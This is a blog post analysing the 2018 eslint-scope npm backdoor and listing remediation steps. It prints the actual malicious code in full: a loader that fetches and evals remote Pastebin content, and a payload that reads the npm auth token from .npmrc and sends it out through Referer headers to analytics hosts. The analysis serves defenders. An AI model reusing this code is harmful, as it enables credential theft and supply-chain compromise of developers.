ESLint backdoor what it is and how to fix the issue
On Thu, July 12 2018 at 1:17PM GMT Andrei Mihailov — @pronebird reported the following issue with the eslint-scope module: Virus in eslint-scope?.
The gist of it is that there was some malicious code added to the module’s codebase and the affected version was 3.7.2. I’m saying it was because the ESLint team took it head-on and got to the bottom of the problem in record time — Thank you!
How to fix this — source
- Revoke all your NPM tokens, immediately!
- Enable two-factor authentication for your NPM account. Here’s how to do it if you use Lerna.
- Limit the number of people can publish to NPM.
- Pay attention to the services you use that do automatic dependency upgrades.
- Use a lockfile —
package-lock.json
oryarn.lock
— and pin down the module versions to prevent auto-upgrading packages to newer versions. - Don’t use the same password everywhere. Use a password manager to generate strong passwords and store them, securely.
The longer version
The problem is related to a snippet of code that was downloading the contents of a Pastebin document and interpreting it — using eval — in the context of the current Node.js process.
try {
var https = require('https');
https.get({
'hostname': 'pastebin.com',
path: '/raw/XLeVP82h',
headers: {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
}, (r) => {
r.setEncoding('utf8');
r.on('data', (c) => {
eval(c);
});
r.on('error', () => {});
}).on('error', () => {});
} catch (e) {}
The contents of the Pastebin document weren’t available for too long after the issue was filed and the exploit made public, but fortunately, people got their hands on it before it was taken down.
try {
var path = require('path');
var fs = require('fs');
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
var content = "nofile";
if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, {
encoding: 'utf8'
});
content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
var https1 = require('https');
https1.get({
hostname: 'sstatic1.histats.com',
path: '/0.gif?4103075&101',
method: 'GET',
headers: {
Referer: 'http://1.a/' + content
}
}, () => {}).on("error", () => {});
https1.get({
hostname: 'c.statcounter.com',
path: '/11760461/0/7b5b9d71/1/',
method: 'GET',
headers: {
Referer: 'http://2.b/' + content
}
}, () => {}).on("error", () => {});
}
} catch (e) {}
As you can tell from reading the snippet, the code reads your .npmrc
file from your home directory. It then pulls in your NPM auth token from it, and sends 2 HTTP requests, 1 to Histats and another one to StatCounter.
The author is creatively placing your token in the referrer URL and using two domains that are very similar to the way Webpack creates your bundles when it does code splitting.
Hard to tell that it’s actually exfiltrating sensitive auth credentials.
Who’s affected by this?
Basically everyone who uses ESLint. If you had the misfortune of installing ESLint in the past couple of days, and you got [email protected] installed as a dependency — this happens automatically — you are affected.
Since ESLint is used on both frontend and backend applications, and it’s more or less become the de-facto standard for code quality, the blast radius could be huge.
What you can do is revoke all your NPM tokens at once, and create new ones. You should also enable 2FA on your NPM account.
Fixing the issue with private registries
If you’re running a private registry, like Nexus, you might still be affected. You most probably have two registries behind your main one — one which is the private registry where you store and deploy your internal, company modules and another one which is a proxy to npmjs.com.
It’s the proxy that can cause problems. Look for any occurrence of [email protected] and if you find one, unpublish it immediately!
You should also scan all your systems (where you also install devDependencies) — this includes development environments but also build/test environments and make sure there are no installs of this version of the module.
As an added security measure, make sure you install your node modules using npm install --prod
or yarn install --prod
whenever your app moves past your dev env. You will have fewer modules to vet and supervise.
Further reading
The ESLint core team, was swift in fixing the issue and also publishing a post-mortem blog post, detailing the timeline, compromised packages and contingency measures package authors need to take.
You can find it here: Postmortem for Malicious Packages Published on July 12th, 2018
If you’d like to learn more about the problem, definitely check out the following links:
Image credits: code.close() by Ruiwen Chua, CC-BY-SA-2.0